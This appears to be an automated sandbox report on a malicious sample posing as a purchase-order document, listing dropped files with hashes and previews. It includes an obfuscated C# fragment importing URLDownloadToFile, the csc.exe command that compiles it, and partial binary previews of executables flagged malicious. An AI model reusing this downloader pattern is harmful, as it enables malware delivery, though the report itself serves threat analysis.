Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073687405597056
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr2:KooCEYhgYEL0In
MD5:	514562121CE91D244DAC62301A43988D
SHA1:	B26CFEAF9C90959E13372FF3310B5852CFABB84B
SHA-256:	CD623FF5943AADDE425A4EEF4565EF78FABBF4C698025A67B101FA75A9C9E1DD
SHA-512:	C71C45AB8E6575286BA682536959AAE5D1078449B1C5E88E7405F9ED08AE55D9F5235D2D25CFF5048AB2413CEC82007FCB104B06158984AB2B642A681823F36A
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xfd6a5456, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221441499599696
Encrypted:	false
SSDEEP:	1536:vPBSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1w:vPBaza/vMUM2Uvz7DO
MD5:	5BA4311732CC5D947E88C513D6079D70
SHA1:	80DCD7B383109788DD745F599112A9E44B492833
SHA-256:	C4CA13CECEDAFFECF89E4F0DF3DA3EF5D16E864BBFD39480FE7D359D37BB02A7
SHA-512:	C98C155AA32BE7C328204F57471864E1C2F28F52C6BF7059BBB35C223580B9EFDAFAEEFE915D2AFF536812BDBD06AD3DAB30479A1083D7555BF7E15120D5FA60
Malicious:	false
Preview:	.jTV... .......A.......X\...;...{......................0.!..........{A..9...\|k.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................._.9...\|..................UDp..9...\|k..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07704479230918414
Encrypted:	false
SSDEEP:	3:ktmUYeaaOravjn13a/wc7wr/tallcVO/lnlZMxZNQl:kTzaav53qwQOewk
MD5:	DD2C4F2B32CC57C7BF08E3E293E9A099
SHA1:	4C28028F8DB6CBF03B03917667EC7E7825418C5E
SHA-256:	B8ED1696596E6CEDB258FB989CCE562EECD2A2DFF2A7B70782A269ED96D775CD
SHA-512:	BACD12C9742FCC0D958AEE1A8481ACEDFDE9563CE8130A7A98F6568C45AFD40F7205AC8EB14320C23D0E48979DF2A079F3892594249019C43D50466FB9932261
Malicious:	false
Preview:	f........................................;...{...9...\|k......{A..............{A......{A..........{A]................UDp..9...\|k.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\wininit.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\wininit.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\caspol[1].exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	600576
Entropy (8bit):	7.913749036393697
Encrypted:	false
SSDEEP:	12288:VrOj+Ri3AgFdZeDZskwkzA0+7xUNq4KC73vUECPnsSnR83PdB0:xQ3AgSskwZNeEqdCPssS3F
MD5:	66B03D1AFF27D81E62B53FC108806211
SHA1:	2557EC8B32D0B42CAC9CABDE199D31C5D4E40041
SHA-256:	59586E753C54629F428A6B880F6AFF09F67AF0ACE76823AF3627DDA2281532E4
SHA-512:	9F8EF3DD8C482DEBB535B1E7C9155E4AB33A04F8C4F31ADE9E70ADBD5598362033785438D5D60C536A801E134E09FCD1BC80FC7AED2D167AF7F531A81F12E43D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: PO-000041492.docx.doc, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....:=g..............0...... .......&... ...@....@.. ....................................`..................................&..O....@..\|....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc...\|....@......................@..@.reloc.......`.......(..............@..B.................&......H........6...(...........^................................................(......}.....{....r...p .....o5....{....o7...&....0...........{......o9.....}........&.......................0..t........o.....{.....{....r...p(....o:.......+%.....{.....o....o;.....o......&....X....i2..{.....o<.......&.{....o=..............+..E..........\b......2.{....oA...n.(......}......}.....(....*....0...........{....o......3...%..;.o......{....o.....s......{.......o....,ir5..p..o......+...(...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.363925654197743
Encrypted:	false
SSDEEP:	48:RWSU4xympx4RfoUP7gZ9tK8NPZHUx7u1iMuge//ZeUyus:RLHxv/IwLZ2KRH6Ougos
MD5:	949556887D629CBD6C22A0DE56F97F73
SHA1:	62AC2F2D46563A5FE7B7BFA901FB2BD479565704
SHA-256:	1C95FB9EEE8F76C6733C027FFF0C7B2DE96D7DAD438F0F88386DD612CE55E5F3
SHA-512:	C579E74EA7A5E59ED8C9F701CDC7B8B035BE8CCB7ABDCA156C2FFD302D4EFBD67FE9F6CD5AD9087BEDDB3C88099FE1C45B50373A18C10C50C3FBDA1BC34F6116
Malicious:	false
Preview:	@...e...........................................................P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\RESBF21.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Wed Nov 20 11:40:57 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.970383133135919
Encrypted:	false
SSDEEP:	24:HQge9E2+ftXDfHFWwKEbsmfII+ycuZhNjakSFPNnqSqd:wetzl1KPmg1ulja3fqSK
MD5:	98AE4D83954C39A21E157DEE2ED94A34
SHA1:	B7E335F734A93093969261A4437E76C179EE28FE
SHA-256:	D503B9AF96D587C59E53FF836A81BED3B754A53F280F223A688E1CDB7CB2AEB7
SHA-512:	39A8D5CCAB3E4273BB41D7977FC84F3DD2AC7FC0AB9A53143DAE9CB195B5F222DC69CC4D271A019527CC834FAEAF96E9DD9965A7D0D102C4CA1BE33F7BD53882
Malicious:	false
Preview:	L.....=g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\sg2bcrbf\CSC9DC7DEFBB3DB4CF88431EEB79FD9B6EB.TMP...............54{.k..:..)...Xb..........4.......C:\Users\user\AppData\Local\Temp\RESBF21.tmp.-.<....................a..Microsoft (R) CVTRES.\.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...s.g.2.b.c.r.b.f...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_01y1gpky.ksn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cm3eg2lp.am2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dsgyyn3u.beo.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gtn40p3r.qfr.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hc2im1uf.x12.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nxuhz4zz.cfg.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rv3qblk2.2kd.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_saj0os05.ivc.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sasszihx.ysv.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zqkgmfs5.25d.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\sg2bcrbf\CSC9DC7DEFBB3DB4CF88431EEB79FD9B6EB.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0931339061474246
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryRak7YnqqFPN5Dlq5J:+RI+ycuZhNjakSFPNnqX
MD5:	35347BAD6B02083AB0EB29B287FA5862
SHA1:	BFD7EA84D14D95726788F7EE993F4348789146E9
SHA-256:	838FF787ED2A11F50AF7A099382F814A522A3DE5DDA21C399088D2C8F9B638A2
SHA-512:	3CD60B9E1C6D5B12F41C15E036227E1C324FCFB7A7D7D53C013E79F8E987010BE48E122D7C069F243F9C0073B2EF2473008A8E4BABDD97D30397F5A5007B0731
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...s.g.2.b.c.r.b.f...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...s.g.2.b.c.r.b.f...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (361)
Category:	dropped
Size (bytes):	480
Entropy (8bit):	3.827531183529261
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuwAH0kHMelQXReKJ8SRHy4HjvWbuMC5NjN6qQy:V/DTLDfuwaKXfH/WCpiy
MD5:	B0517586F4097114E790C61F2685F0D5
SHA1:	20F7482298AB96731228EBD5242CEDDFD72FF50F
SHA-256:	A738E3AF6F29EDD637630B0299F306056042EA1C73850EEE95498499F5D90237
SHA-512:	C28702017CE7FE0D34BEA38CEF48DF3BB65C63D92DDDD6F8264F7262F7AE61B8D71BCD6FEC06D0792373D15BA84FB2A1D0C26B0FE5755BC20505A9197D654BA0
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace LYPhpfZVh.{. public class PKJmdq. {. [DllImport("uRLMoN.Dll", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr LODMlIYFHF,string eO,string Lrd,uint kCMv,IntPtr sKwhSUgFd);.. }..}.

C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.248645455911399
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23f5gvg10zxs7+AEszIwkn23f5gvgEAn:p37Lvkmb6KRfRgvgqWZEifRgvgP
MD5:	90DEA8D988EE9901587EFDA11E05BAFC
SHA1:	F7128226C319AB687B7C10F88EF4A89CE80CABD8
SHA-256:	8C6B440EADC5503A196DD0F0156EEC3E59745E2947370F4636A42724DCB7AF73
SHA-512:	88A63811F58ACDE1E24543D467D9D70A79F02BE7FD76FC9A67E7D5B373AA5AA86A7ECCF037B516D37A35FFE896CEB96167B136CAA6628E2FA8DA128F63073F7C
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.0.cs"

C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.84155798620604
Encrypted:	false
SSDEEP:	24:etGSHPBe5ekrl88NRck5wqujf/UoItkZfVDbCZ0WI+ycuZhNjakSFPNnq:6Qskr+Wkf8o/JVDbCZX1ulja3fq
MD5:	C4F9F32EDD0A92B9B7F3ACC2D3B40885
SHA1:	38F96A91340B5E82C12DB87AA57162A7AF28D1E4
SHA-256:	80F946C064277AC4BEE1ADA29F7F5889E6AAED33EEBB48B0CE906E838B0A818E
SHA-512:	AF6983330C3D0813D2F412C0E1AD437294705068D7E556A126CB7B094D4E0B3662B040F6FC43E94A94444280EC4E65FBB09D9FC08BBC99381E3FAB977EF53E80
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....=g...........!.................#... ...@....... ....................................@.................................\#..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................8.1.....x.....x.......................................... ?.....P ......Q.........W.....b.....e.....i.....n...Q.....Q...!.Q.....Q.......!............?.......................................(..........<Module>.sg

C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (446), with CRLF, CR line terminators
Category:	modified
Size (bytes):	867
Entropy (8bit):	5.3132100024069615
Encrypted:	false
SSDEEP:	24:KJBqd3ka6KRfsmEifsJKax5DqBVKVrdFAMBJTH:Cika6CsmEusJK2DcVKdBJj
MD5:	FD399C8EBF0169227C552DFEC86B62D3
SHA1:	38E9A72FCC5D519C40B09F8CD6F9783DD530B67F
SHA-256:	948161BE405C53308872E3B996E8C603D69A9FF55CD54EB201DA4E2691E733FD
SHA-512:	E0C1B4C93344AF2DC4E00DB1167F69B28B2E04DA9D0A08DEB6A9792590FC76AEA1952A667B891808B335913EA512943B27D87B47C3D1DC9C97A2F9C785D8DE8F
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Roaming\188E93\31437F.exe (copy)

Download File

Process:	C:\Users\user\AppData\Roaming\wininit.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	600576
Entropy (8bit):	7.913749036393697
Encrypted:	false
SSDEEP:	12288:VrOj+Ri3AgFdZeDZskwkzA0+7xUNq4KC73vUECPnsSnR83PdB0:xQ3AgSskwZNeEqdCPssS3F
MD5:	66B03D1AFF27D81E62B53FC108806211
SHA1:	2557EC8B32D0B42CAC9CABDE199D31C5D4E40041
SHA-256:	59586E753C54629F428A6B880F6AFF09F67AF0ACE76823AF3627DDA2281532E4
SHA-512:	9F8EF3DD8C482DEBB535B1E7C9155E4AB33A04F8C4F31ADE9E70ADBD5598362033785438D5D60C536A801E134E09FCD1BC80FC7AED2D167AF7F531A81F12E43D
Malicious:	true
Joe Sandbox View:	Filename: PO-000041492.docx.doc, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....:=g..............0...... .......&... ...@....@.. ....................................`..................................&..O....@..\|....................`....................................................... ............... ..H............text........ ...................... ..`.rsrc...\|....@......................@..@.reloc.......`.......(..............@..B.................&......H........6...(...........^................................................(......}.....{....r...p .....o5....{....o7...&....0...........{......o9.....}........&.......................0..t........o.....{.....{....r...p(....o:.......+%.....{.....o....o;.....o......&....X....i2..{.....o<.......&.{....o=..............+..E..........\b......2.{....oA...n.(......}......}.....(....*....0...........{....o......3...%..;.o......{....o.....s......{.......o....,ir5..p..o......+...(...

C:\Users\user\AppData\Roaming\188E93\31437F.lck

Download File

Process:	C:\Users\user\AppData\Roaming\wininit.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1002\bc49718863ee53e026d805ec372039e9_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Users\user\AppData\Roaming\wininit.exe
File Type:	data
Category:	modified
Size (bytes):	46
